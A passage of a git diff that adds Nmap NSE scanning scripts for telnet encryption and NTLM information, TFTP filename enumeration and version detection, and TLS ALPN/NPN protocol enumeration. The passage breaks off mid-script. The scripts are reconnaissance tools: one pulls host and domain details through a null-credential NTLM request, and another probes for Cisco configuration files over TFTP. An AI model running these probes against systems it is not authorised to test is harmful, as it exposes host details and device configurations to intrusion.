+* FreeBSD Advisory: http://lists.freebsd.org/pipermail/freebsd-announce/2011-December/001398.html
+* FreeBSD Exploit: http://www.exploit-db.com/exploits/18280/
+* RedHat Enterprise Linux Advisory: https://rhn.redhat.com/errata/RHSA-2011-1854.html
+]]
+
+---
+-- @usage
+-- nmap -p 23 <ip> --script telnet-encryption
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 23/tcp open telnet syn-ack
+-- | telnet-encryption:
+-- |_ Telnet server supports encryption
+--
+--
+
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.port_or_service(23, 'telnet')
+
+author = {"Patrik Karlsson", "David Fifield", "Fyodor"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local COMMAND = {
+ SubCommand = 0xFA,
+ Will = 0xFB,
+ Do = 0xFD,
+ Dont = 0xFE,
+ Wont = 0xFC,
+}
+
+local function processOptions(data)
+ local pos = 1
+ local result = {}
+ while ( pos < #data ) do
+ local iac, cmd, option
+ iac, cmd, pos = string.unpack("BB", data, pos)
+ if ( 0xFF ~= iac ) then
+ break
+ end
+ if ( COMMAND.SubCommand == cmd ) then
+ repeat
+ iac, pos = string.unpack("B", data, pos)
+ until( pos == #data or 0xFF == iac )
+ cmd, pos = string.unpack("B", data, pos)
+ if ( not(cmd) == 0xF0 ) then
+ return false, "Failed to parse options"
+ end
+ else
+ option, pos = string.unpack("B", data, pos)
+ result[option] = result[option] or {}
+ table.insert(result[option], cmd)
+ end
+ end
+ return true, { done=( not(#data == pos - 1) ), cmds = result }
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local socket = nmap.new_socket()
+ local status = socket:connect(host, port)
+ local data = stdnse.fromhex( "FFFD26FFFB26")
+ local result
+
+ socket:set_timeout(7500)
+ status, result = socket:send(data)
+ if ( not(status) ) then
+ return fail(("Failed to send packet: %s"):format(result))
+ end
+
+ repeat
+ status, data = socket:receive()
+ if ( not(status) ) then
+ return fail(("Receiving packet: %s"):format(data))
+ end
+ status, result = processOptions(data)
+ if ( not(status) ) then
+ return fail("Failed to process telnet options")
+ end
+ until( result.done or result.cmds[0x26] )
+
+ for _, cmd in ipairs(result.cmds[0x26] or {}) do
+ if ( COMMAND.Will == cmd or COMMAND.Do == cmd ) then
+ return "\n Telnet server supports encryption"
+ end
+ end
+ return "\n Telnet server does not support encryption"
+end
diff --git a/scripts/telnet-ntlm-info.nse b/scripts/telnet-ntlm-info.nse
new file mode 100644
index 0000000..a40a336
--- /dev/null
+++ b/scripts/telnet-ntlm-info.nse
@@ -0,0 +1,141 @@
+local datetime = require "datetime"
+local os = require "os"
+local comm = require "comm"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote Microsoft Telnet services with NTLM
+authentication enabled.
+
+Sending a MS-TNAP NTLM authentication request with null credentials will cause the
+remote service to respond with a NTLMSSP message disclosing information to include
+NetBIOS, DNS, and OS build version.
+]]
+
+
+---
+-- @usage
+-- nmap -p 23 --script telnet-ntlm-info <target>
+--
+-- @output
+-- 23/tcp open telnet
+-- | telnet-ntlm-info:
+-- | Target_Name: ACTIVETELNET
+-- | NetBIOS_Domain_Name: ACTIVETELNET
+-- | NetBIOS_Computer_Name: HOST-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: host-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 5.1.2600
+--
+--@xmloutput
+-- <elem key="Target_Name">ACTIVETELNET</elem>
+-- <elem key="NetBIOS_Domain_Name">ACTIVETELNET</elem>
+-- <elem key="NetBIOS_Computer_Name">HOST-TEST2</elem>
+-- <elem key="DNS_Domain_Name">somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">host-test2.somedomain.com</elem>
+-- <elem key="DNS_Tree_Name">somedomain.com</elem>
+-- <elem key="Product_Version">5.1.2600</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+local _, ntlm_auth_blob = smbauth.get_security_blob(
+ nil, nil, nil, nil, nil, nil, nil,
+ 0x00000001 + -- Negotiate Unicode
+ 0x00000002 + -- Negotiate OEM strings
+ 0x00000004 + -- Request Target
+ 0x00000200 + -- Negotiate NTLM
+ 0x00008000 + -- Negotiate Always Sign
+ 0x00080000 + -- Negotiate NTLM2 Key
+ 0x20000000 + -- Negotiate 128
+ 0x80000000 -- Negotiate 56
+ )
+
+--
+-- Create MS-TNAP Login Packet (Option Command IS)
+-- Ref: http://msdn.microsoft.com/en-us/library/cc247789.aspx
+local tnap_login_packet = string.pack("<BBBBBBB I4I4",
+ 0xff, -- IAC
+ 0xfa, -- Sub-option (250)
+ 0x25, -- Subcommand: auth option
+ 0x00, -- Auth Cmd: IS (0)
+ 0x0f, -- Auth Type: NTLM (15)
+ 0x00, -- Who: Mask client to server (0)
+ 0x00, -- Command: NTLM_NEGOTIATE (0)
+ #ntlm_auth_blob, -- NTLM_DataSize (4 bytes, little-endian)
+ 0x00000002) -- NTLM_BufferType (4 bytes, little-endian)
+ .. ntlm_auth_blob .. string.pack("<BB",
+ 0xff, 0xf0) -- Sub-option End
+
+portrule = shortport.port_or_service(23, "telnet")
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ local socket, response, early_resp = comm.opencon(host, port, tnap_login_packet, {recv_before=true})
+
+ if not socket then
+ return nil
+ end
+
+ local recvtime = os.time()
+ socket:close()
+
+ -- Continue only if NTLMSSP response is returned.
+ -- Verify that the response is terminated with Sub-option End values as various
+ -- non Microsoft telnet implementations support NTLM but do not return valid data.
+ local data = string.match(response, "(NTLMSSP.*)\xff\xf0")
+ if not data then
+ return nil
+ end
+
+ -- Leverage smbauth.get_host_info_from_security_blob() for decoding
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(data)
+
+ if ntlm_decoded.timestamp then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ end
+
+ return output
+
+end
diff --git a/scripts/tftp-enum.nse b/scripts/tftp-enum.nse
new file mode 100644
index 0000000..831cbad
--- /dev/null
+++ b/scripts/tftp-enum.nse
@@ -0,0 +1,212 @@
+local datafiles = require "datafiles"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Enumerates TFTP (trivial file transfer protocol) filenames by testing
+for a list of common ones.
+
+TFTP doesn't provide directory listings. This script tries to retrieve
+filenames from a list. The list is composed of static names from the
+file <code>tftplist.txt</code>, plus configuration filenames for Cisco
+devices that change based on the target address, of the form
+<code>A.B.C.X-confg</code> for an IP address A.B.C.D and for X in 0 to
+255.
+
+Use the <code>tftp-enum.filelist</code> script argument to search for
+other static filenames.
+
+This script is a reimplementation of tftptheft from
+http://code.google.com/p/tftptheft/.
+]]
+
+---
+-- @usage nmap -sU -p 69 --script tftp-enum.nse --script-args tftp-enum.filelist=customlist.txt <host>
+--
+-- @args filelist - file name with list of filenames to enumerate at tftp server
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 69/udp open tftp script-set
+-- | tftp-enum:
+-- |_ bootrom.ld
+
+author = "Alexander Rudakov"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "discovery", "intrusive" }
+
+
+local REQUEST_ERROR = -1
+local FILE_FOUND = 1
+local FILE_NOT_FOUND = 2
+
+portrule = shortport.portnumber(69, "udp")
+
+-- return a new array containing the concatenation of all of its
+-- parameters. Scaler parameters are included in place, and array
+-- parameters have their values shallow-copied to the final array.
+-- Note that userdata and function values are treated as scalar.
+local function array_concat(...)
+ local t = {}
+ for n = 1, select("#", ...) do
+ local arg = select(n, ...)
+ if type(arg) == "table" then
+ for _, v in ipairs(arg) do
+ t[#t + 1] = v
+ end
+ else
+ t[#t + 1] = arg
+ end
+ end
+ return t
+end
+
+local generate_cisco_address_confg = function(base_address)
+ local filenames = {}
+ local octets = stringaux.strsplit("%.", base_address)
+
+ for i = 0, 255 do
+ local address_confg = octets[1] .. "." .. octets[2] .. "." .. octets[3] .. "." .. i .. "-confg"
+ table.insert(filenames, address_confg)
+ end
+
+ return filenames
+end
+
+local generate_filenames = function(host)
+ local customlist = stdnse.get_script_args('tftp-enum.filelist')
+ local cisco = false
+ local status, default_filenames = datafiles.parse_file(customlist or "nselib/data/tftplist.txt" , {})
+ if not status then
+ stdnse.debug1("Can not open file with tftp file names list")
+ return {}
+ else
+
+ for i, filename in ipairs(default_filenames) do
+ if filename:match('{[Mm][Aa][Cc]}') then
+ if not host.mac_addr then
+ goto next_filename
+ else
+ filename = filename:gsub('{M[Aa][Cc]}', string.upper(stdnse.tohex(host.mac_addr)))
+ filename = filename:gsub('{m[aA][cC]}', stdnse.tohex(host.mac_addr))
+ end
+ end
+
+ if filename:match('{cisco}') then
+ cisco = true
+ table.remove(default_filenames,i)
+ end
+ ::next_filename::
+ end
+
+ if cisco == true then
+ local cisco_address_confg_filenames = generate_cisco_address_confg(host.ip)
+ return array_concat(default_filenames, cisco_address_confg_filenames)
+ end
+ end
+ return default_filenames
+end
+
+
+local create_tftp_file_request = function(filename)
+ return "\0\x01" .. filename .. "\0octet\0"
+end
+
+local check_file_present = function(host, port, filename)
+ stdnse.debug1("checking file %s", filename)
+
+ local file_request = create_tftp_file_request(filename)
+
+
+ local socket = nmap.new_socket()
+ socket:connect(host, port)
+ local status, lhost, lport, rhost, rport = socket:get_info()
+ stdnse.debug1("lhost: %s, lport: %s", lhost, lport);
+
+
+ if (not (status)) then
+ stdnse.debug1("error %s", lhost)
+ socket:close()
+ return REQUEST_ERROR
+ end
+
+
+ local bind_socket = nmap.new_socket("udp")
+ stdnse.debug1("local port = %d", lport)
+
+ socket:send(file_request)
+ socket:close()
+
+ local bindOK, error = bind_socket:bind(nil, lport)
+
+
+ stdnse.debug1("starting listener")
+
+ if (not (bindOK)) then
+ stdnse.debug1("Error in bind %s", error)
+ bind_socket:close()
+ return REQUEST_ERROR
+ end
+
+
+ local recvOK, data = bind_socket:receive()
+
+ if (not (recvOK)) then
+ stdnse.debug1("Error in receive %s", data)
+ bind_socket:close()
+ return REQUEST_ERROR
+ end
+
+ if (data:byte(1) == 0x00 and data:byte(2) == 0x03) then
+ bind_socket:close()
+ return FILE_FOUND
+ elseif (data:byte(1) == 0x00 and data:byte(2) == 0x05) then
+ bind_socket:close()
+ return FILE_NOT_FOUND
+ else
+ bind_socket:close()
+ return REQUEST_ERROR
+ end
+
+ return FILE_NOT_FOUND
+end
+
+local check_open_tftp = function(host, port)
+ local random_name = rand.random_string(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_")
+ local ret_value = check_file_present(host, port, random_name)
+ if (ret_value == FILE_FOUND or ret_value == FILE_NOT_FOUND) then
+ return true
+ else
+ return false
+ end
+end
+
+action = function(host, port)
+
+ if (not (check_open_tftp(host, port))) then
+ stdnse.debug1("tftp seems not active")
+ return
+ end
+
+ stdnse.debug1("tftp detected")
+
+ port.service = "tftp"
+ nmap.set_port_state(host, port, "open")
+
+ local results = {}
+ local filenames = generate_filenames(host)
+
+ for i, filename in ipairs(filenames) do
+ local request_status = check_file_present(host, port, filename)
+ if (request_status == FILE_FOUND) then
+ table.insert(results, filename)
+ end
+ end
+
+ return stdnse.format_output(true, results)
+end
diff --git a/scripts/tftp-version.nse b/scripts/tftp-version.nse
new file mode 100644
index 0000000..caa1865
--- /dev/null
+++ b/scripts/tftp-version.nse
@@ -0,0 +1,321 @@
+local nmap = require "nmap"
+local rand = require "rand"
+local stdnse = require "stdnse"
+local string = require "string"
+local shortport = require "shortport"
+local table = require "table"
+local ipOps = require "ipOps"
+local packet = require "packet"
+local tftp = require "tftp"
+
+description=[[
+Obtains information (such as vendor and device type where available) from a
+TFTP service by requesting a random filename. Software vendor information is
+determined by matching the error message against a database of known software.
+]]
+
+---
+-- @usage nmap -sU -p 69 --script tftp-version
+-- @usage nmap -sV -p 69
+--
+-- @args tftp-version.socket Use a listening UDP socket to recieve error messages. This
+-- method is frequently blocked by client firewalls and NAT
+-- devices, so the default is to use packet capture instead.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 69/udp open tftp
+-- | tftp-version:
+-- | If you know the name or version of the software running on this port, please submit
+-- it to dev@nmap.org along with the following information:
+-- | opcode: 5
+-- | errcode: 1
+-- | length: 20
+-- | rport: 69
+-- |_ errmsg: can't open file
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 69/udp open tftp Brother printer tftpd
+--
+-- @output
+-- 69/udp open tftp
+-- | tftp-version:
+-- | d: printer
+-- |_ p: Brother printer tftpd
+--
+--
+--@xmloutput
+--<table key="If you know the name or version of the software running on this port, please
+--submit it to dev@nmap.org along with the following information">
+-- <elem key="opcode">5</elem>
+-- <elem key="errcode">2</elem>
+-- <elem key="length">21</elem>
+-- <elem key="rport">14571</elem>
+-- <elem key="errmsg">Access violation</elem>
+--</table>
+--
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe", "version"}
+
+portrule = shortport.version_port_or_service(69, "tftp", "udp")
+
+local load_fingerprints = function()
+ -- Check if fingerprints are cached.
+ if nmap.registry.tftp_fingerprints ~= nil then
+ stdnse.debug1("Loading cached TFTP fingerprints...")
+ return nmap.registry.tftp_fingerprints
+ end
+
+ -- Load the fingerprints.
+ local path = nmap.fetchfile("nselib/data/tftp-fingerprints.lua")
+ stdnse.debug1("Loading TFTP fingerprint from files: %s", path)
+ local file = loadfile(path, "t")
+ if not file then
+ stdnse.debug1("Couldn't load the file: %s", path)
+ return false
+ end
+ local fingerprints = file()
+
+ -- Check there are fingerprints to use
+ if not fingerprints or #fingerprints == 0 then
+ stdnse.debug1("No fingerprints were loaded from file: %s", path)
+ return false
+ end
+
+ return fingerprints
+end
+
+local parse = function(buf, rport)
+ -- Every TFTP packet is at least 4 bytes.
+ if #buf < 4 then
+ stdnse.debug1("Packet was %d bytes, but TFTP packets are a minimum of 4 bytes.", #buf)
+ return nil
+ end
+
+ local opcode, num, pos = (">I2I2"):unpack(buf)
+ local ret = stdnse.output_table()
+ ret.opcode = opcode
+ ret.errcode = num
+ ret.length = #buf
+ ret.rport = rport
+
+ if opcode == tftp.OpCode.DATA then
+ -- The block number, which must be one.
+ if num ~= 1 then
+ stdnse.debug1("DATA packet should have a block number of 1, not %d.", num)
+ end
+
+ -- The data remaining in the response must be from 0 to 512 bytes in length.
+ if #buf > 2 + 2 + 512 then
+ stdnse.debug1("DATA packet should be 0 to 512 bytes, but is %d bytes.", #buf)
+ else
+ ret.errmsg = buf:sub(pos)
+ end
+
+ elseif opcode == tftp.OpCode.ERROR
+ -- ACK extremely unlikely, but we should be thorough.
+ or opcode == tftp.OpCode.ACK then
+ -- Extract the error message, if there is one.
+ ret.errmsg, pos = ("z"):unpack(buf, pos)
+ -- The last byte in the packet must be zero to terminate the error message.
+ if pos ~= #buf + 1 then -- catch both short and long packets
+ stdnse.debug1("ERROR packet does not end with a zero byte.")
+ end
+
+ elseif opcode == tftp.OpCode.RRQ or opcode == tftp.OpCode.WRQ then
+ ret.errmsg, pos = ("z"):unpack(buf, pos - 2)
+ if pos < #buf then
+ ret.mode = ("z"):unpack(buf, pos)
+ end
+ if pos ~= #buf + 1 then -- catch both short and long packets
+ stdnse.debug1("RRQ/WRQ packet does not contain 2 zero-terminated strings")
+ end
+ else
+ -- Any other opcode, defined or otherwise, should not be coming back from the
+ -- service, so we treat it as an error.
+ stdnse.debug1("Unexpected opcode %d received.", opcode)
+ return nil
+ end
+
+ return ret
+end
+
+-- This works, as does using the same socket without calling connect(), but
+-- firewalls frequently block the incoming data connection since it isn't on an
+-- established local:remote port pair. Better to use pcap, but we'll let users
+-- try it out if they really want to.
+local socket_listen = function (lhost, lport, host)
+ local bind_socket = nmap.new_socket("udp")
+ bind_socket:set_timeout(stdnse.get_timeout(host))
+ bind_socket:bind(lhost, lport)
+
+ local status, res = bind_socket:receive()
+ if not status then
+ stdnse.debug1("Failed to receive response from server: %s", res)
+ return nil
+ end
+
+ local status, err, _, rhost, rport = bind_socket:get_info()
+ bind_socket:close()
+ if not status then
+ stdnse.debug1("Failed to determine source of response: %s", err)
+ return nil
+ end
+
+ return res, rhost, rport
+end
+
+local pcap_listen = function (lhost, lport, host)
+ local pcap = nmap.new_socket()
+ pcap:pcap_open(host.interface, 256, false,
+ ("udp and dst host %s and dst port %d"):format(lhost, lport))
+ pcap:set_timeout(stdnse.get_timeout(host))
+
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ if not status then
+ stdnse.debug1("Failed to get a response: %s", length)
+ return nil
+ end
+
+ local p = packet.Packet:new(layer3, length)
+ if not p or not p.udp then
+ stdnse.debug1("Error parsing packet.")
+ return nil
+ end
+ local res = layer3:sub(p.udp_offset + 8 + 1) -- packet.lua uses 0-offsets
+ local rhost = p.ip_src
+ local rport = p.udp_sport
+ pcap:pcap_close()
+ return res, rhost, rport
+end
+
+local get_listen_func = function (use_socket)
+ if use_socket then
+ return socket_listen
+ else
+ if nmap.is_privileged() then
+ return pcap_listen
+ else
+ stdnse.verbose("Can't use pcap; will try listening with socket.")
+ return socket_listen
+ end
+ end
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+ local listenfunc = get_listen_func(stdnse.get_script_args(SCRIPT_NAME .. '.socket'))
+
+ -- Generate a random, unlikely filename in a format unlikely to be rejected,
+ -- specifically DOS 8.3 format.
+ local name = rand.random_string(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_")
+ local extn = rand.random_string(3, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
+ local path = name .. "." .. extn
+
+ -- Create and connect a socket.
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(stdnse.get_timeout(host))
+ socket:connect(host, port)
+ local status, lhost, lport, rhost, rport = socket:get_info()
+
+ -- Generate a Read Request.
+ local req = (">Hzz"):pack(tftp.OpCode.RRQ, path, "octet")
+
+ -- Send the Read Request.
+ socket:sendto(host, port, req)
+ socket:close()
+
+ -- Listen for a response, but if nothing comes back we have to assume that
+ -- this is not a TFTP service and exit quietly.
+ --
+ -- We don't have to worry about other instance of this script running on other
+ -- ports of the same host confounding our results, because TFTP services
+ -- should respond back to the port matching the sending script.
+ local res, rhost, rport = listenfunc(lhost, lport, host)
+ if not res then
+ stdnse.debug1("Failed to receive response from server")
+ return nil
+ end
+ if rhost ~= host.ip then
+ stdnse.debug1("UDP response came from unexpected host: %s (expected %s)", rhost, host.ip)
+ return nil
+ end
+
+ -- Parse the response.
+ local pkt = parse(res, rport)
+ if not pkt then
+ return nil
+ end
+
+ -- We're sure this is a TFTP server by this point..
+ nmap.set_port_state(host, port, "open")
+ port.version = port.version or {}
+ port.version.service = "tftp"
+
+ local fingerprints = load_fingerprints()
+ if not fingerprints then
+ return nil
+ end
+
+ -- Try to match the packet against our table of responses, falling back to
+ -- encouraging the user to submit a fingerprint to Nmap.
+ local sw = nil
+ for _, fp in ipairs(fingerprints[pkt.opcode]) do
+ if pkt.errcode == fp.errcode and pkt.errmsg == fp.errmsg
+ and not (fp.rport and pkt.rport ~= fp.rport) then
+ sw = fp.product
+ break
+ end
+ end
+
+ if not sw then
+ nmap.set_port_version(host, port, "hardmatched")
+ return {["If you know the name or version of the software running on this port, please submit it to dev@nmap.org along with the following information"]= pkt}
+ end
+
+ -- Our goal is to avoid printing output when run with -sV unless it differs.
+ -- When selected by name, always print output
+ local emit_output = nmap.verbosity() > 0
+
+ for _, keypair in ipairs({
+ {"product", "p"},
+ {"version", "v"},
+ {"extrainfo", "i"},
+ {"hostname", "h"},
+ {"ostype", "o"},
+ {"devicetype", "d"},
+ }) do
+ local pv = port.version[keypair[1]]
+ local sv = sw[keypair[2]]
+ if not pv then
+ port.version[keypair[1]] = sv
+ elseif sv and pv ~= sv then
+ emit_output = true
+ end
+ end
+
+ -- Only add CPEs if they aren't there already, to avoid doubling-up.
+ if sw.cpe then
+ local seen = {}
+ if port.version.cpe then
+ for _, cpe in ipairs(port.version.cpe) do
+ seen[cpe] = 1
+ end
+ for _, cpe in ipairs(sw.cpe) do
+ if not seen[cpe] then
+ table.insert(port.version.cpe, cpe)
+ end
+ end
+ else
+ port.version.cpe = {table.unpack(sw.cpe)}
+ end
+ end
+
+ nmap.set_port_version(host, port, "hardmatched")
+
+ if emit_output then
+ return sw
+ end
+end
diff --git a/scripts/tls-alpn.nse b/scripts/tls-alpn.nse
new file mode 100644
index 0000000..caf276d
--- /dev/null
+++ b/scripts/tls-alpn.nse
@@ -0,0 +1,237 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local sslcert = require "sslcert"
+local tls = require "tls"
+
+description = [[
+Enumerates a TLS server's supported application-layer protocols using the ALPN protocol.
+
+Repeated queries are sent to determine which of the registered protocols are supported.
+
+For more information, see:
+* https://tools.ietf.org/html/rfc7301
+]]
+
+---
+-- @usage
+-- nmap --script=tls-alpn <targets>
+--
+--@output
+-- 443/tcp open https
+-- | tls-alpn:
+-- | h2
+-- | spdy/3
+-- |_ http/1.1
+--
+-- @xmloutput
+-- <elem>h2</elem>
+-- <elem>spdy/3</elem>
+-- <elem>http/1.1</elem>
+
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "default"}
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+
+local ALPN_NAME = "application_layer_protocol_negotiation"
+
+--- Function that sends a client hello packet with the TLS ALPN extension to the
+-- target host and returns the response
+--@args host The target host table.
+--@args port The target port table.
+--@return status true if response, false else.
+--@return response if status is true.
+local client_hello = function(host, port, protos)
+ local sock, status, response, err, cli_h
+
+ cli_h = tls.client_hello({
+ -- TLSv1.3 does not send this extension plaintext.
+ -- TODO: implement key exchange crypto to retrieve encrypted extensions
+ protocol = "TLSv1.2",
+ ["extensions"] = {
+ [ALPN_NAME] = tls.EXTENSION_HELPERS[ALPN_NAME](protos)
+ },
+ })
+
+ -- Connect to the target server
+ local status, err
+ local sock
+ local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
+ if specialized then
+ status, sock = specialized(host, port)
+ if not status then
+ stdnse.debug1("Connection to server failed: %s", sock)
+ return false
+ end
+ else
+ sock = nmap.new_socket()
+ status, err = sock:connect(host, port)
+ if not status then
+ stdnse.debug1("Connection to server failed: %s", err)
+ return false
+ end
+ end
+
+ sock:set_timeout(5000)
+
+ -- Send Client Hello to the target server
+ status, err = sock:send(cli_h)
+ if not status then
+ stdnse.debug1("Couldn't send: %s", err)
+ sock:close()
+ return false
+ end
+
+ -- Read response
+ status, response, err = tls.record_buffer(sock)
+ if not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ sock:close()
+ return false
+ end
+
+ return true, response
+end
+
+--- Function that checks for the returned protocols to a ALPN extension request.
+--@args response Response to parse.
+--@return results List of found protocols.
+local check_alpn = function(response)
+ local i, record = tls.record_read(response, 1)
+ if record == nil then
+ stdnse.debug1("Unknown response from server")
+ return nil
+ end
+
+ if record.type == "handshake" and record.body[1].type == "server_hello" then
+ if record.body[1].extensions == nil then
+ stdnse.debug1("Server did not return TLS ALPN extension.")
+ return nil
+ end
+ local results = {}
+ local alpndata = record.body[1].extensions[ALPN_NAME]
+ if alpndata == nil then
+ stdnse.debug1("Server did not return TLS ALPN extension.")
+ return nil
+ end
+ -- Parse data
+ alpndata = string.unpack(">s2", alpndata, 1)
+ i = 1
+ while i <= #alpndata do
+ if i > 1 then
+ stdnse.debug1("Server sent multiple protocols but RFC only permits 1")
+ end
+ local protocol
+ protocol, i = string.unpack(">s1", alpndata, i)
+ table.insert(results, protocol)
+ end
+
+ if next(results) then
+ return results
+ else
+ stdnse.debug1("Server supports TLS ALPN extension, but no protocols were offered.")
+ return nil
+ end
+ else
+ stdnse.debug1("Server response was not server_hello")
+ return nil
+ end
+end
+
+local function find_and_remove(t, value)
+ for i, v in ipairs(t) do
+ if v == value then
+ table.remove(t, i)
+ return true
+ end
+ end
+ return false
+end
+
+action = function(host, port)
+ local alpn_protos = {
+ -- IANA-registered names
+ -- https://www.iana.org/assignments/tls-extensiontype-values/alpn-protocol-ids.csv
+ -- Last-Modified: Thu, 31 Oct 2019 22:30:11 GMT
+ "http/0.9",
+ "http/1.0",
+ "http/1.1",
+ "spdy/1",
+ "spdy/2",
+ "spdy/3",
+ "stun.turn",
+ "stun.nat-discovery",
+ "h2",
+ "h2c", -- should never be negotiated over TLS
+ "webrtc",
+ "c-webrtc",
+ "ftp",
+ "imap",
+ "pop3",
+ "managesieve",
+ "coap",
+ "xmpp-client",
+ "xmpp-server",
+ "acme-tls/1",
+ "mqtt",
+ "dot",
+ "ntske/1",
+ "sunrpc",
+ "h3",
+ "smb",
+ "irc",
+ "nntp",
+ "nnsp",
+ "doq",
+ -- Other sources
+ "grpc-exp", -- gRPC, see grpc.io
+ }
+
+ local chosen = {}
+ local unique = {}
+ while next(alpn_protos) do
+ -- Send crafted client hello
+ local status, response = client_hello(host, port, alpn_protos)
+ if status and response then
+ -- Analyze response
+ local result = check_alpn(response)
+ if not result then
+ stdnse.debug1("None of %d protocols chosen", #alpn_protos)
+ goto ALPN_DONE
+ end
+ for i, p in ipairs(result) do
+ if i > 1 then
+ stdnse.verbose1("Server violates RFC: sent additional protocol %s", p)
+ else
+ if not unique[p] then
+ chosen[#chosen+1] = p
+ end
+ unique[p] = true
+ if not find_and_remove(alpn_protos, p) then
+ stdnse.debug1("Chosen ALPN protocol %s was not offered", p)
+ -- Server is forcing this protocol, no need to continue offering.
+ goto ALPN_DONE
+ end
+ end
+ end
+ else
+ stdnse.debug1("Client hello failed with %d protocols", #alpn_protos)
+ goto ALPN_DONE
+ end
+ end
+ ::ALPN_DONE::
+ if next(chosen) then
+ return chosen
+ end
+end
diff --git a/scripts/tls-nextprotoneg.nse b/scripts/tls-nextprotoneg.nse
new file mode 100644
index 0000000..33736a7
--- /dev/null
+++ b/scripts/tls-nextprotoneg.nse
@@ -0,0 +1,160 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local sslcert = require "sslcert"
+local tls = require "tls"
+
+description = [[
+Enumerates a TLS server's supported protocols by using the next protocol
+negotiation extension.
+
+This works by adding the next protocol negotiation extension in the client
+hello packet and parsing the returned server hello's NPN extension data.
+
+For more information, see:
+* https://tools.ietf.org/html/draft-agl-tls-nextprotoneg-03
+]]
+
+---
+-- @usage
+-- nmap --script=tls-nextprotoneg <targets>
+--
+--@output
+-- 443/tcp open https
+-- | tls-nextprotoneg:
+-- | spdy/3
+-- | spdy/2
+-- |_ http/1.1
+--
+-- @xmloutput
+-- <elem>spdy/4a4</elem>
+-- <elem>spdy/3.1</elem>
+-- <elem>spdy/3</elem>
+-- <elem>http/1.1</elem>
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "default"}
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+
+
+--- Function that sends a client hello packet with the TLS NPN extension to the
+-- target host and returns the response
+--@args host The target host table.
+--@args port The target port table.
+--@return status true if response, false else.
+--@return response if status is true.
+local client_hello = function(host, port)
+ local sock, status, response, err, cli_h
+
+ cli_h = tls.client_hello({
+ -- TLSv1.3 does not send this extension plaintext.
+ -- TODO: implement key exchange crypto to retrieve encrypted extensions
+ protocol = "TLSv1.2",
+ ["extensions"] = {
+ ["next_protocol_negotiation"] = "",
+ },
+ })
+
+ -- Connect to the target server
+ local status, err
+ local sock
+ local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
+ if specialized then
+ status, sock = specialized(host, port)
+ if not status then
+ stdnse.debug1("Connection to server failed: %s", sock)
+ return false
+ end
+ else
+ sock = nmap.new_socket()
+ status, err = sock:connect(host, port)
+ if not status then
+ stdnse.debug1("Connection to server failed: %s", err)
+ return false
+ end
+ end
+
